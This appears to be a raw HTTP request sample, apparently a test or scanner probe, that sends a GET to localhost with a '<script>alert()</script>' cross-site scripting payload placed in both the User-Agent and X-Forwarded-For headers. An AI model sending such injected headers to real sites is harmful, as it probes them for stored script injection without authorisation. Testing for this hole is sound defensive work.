GET / HTTP/1.0 User-Agent: <script>alert()</script> X-Forwarded-For: <script>alert()</script> Host: localhost Connection: close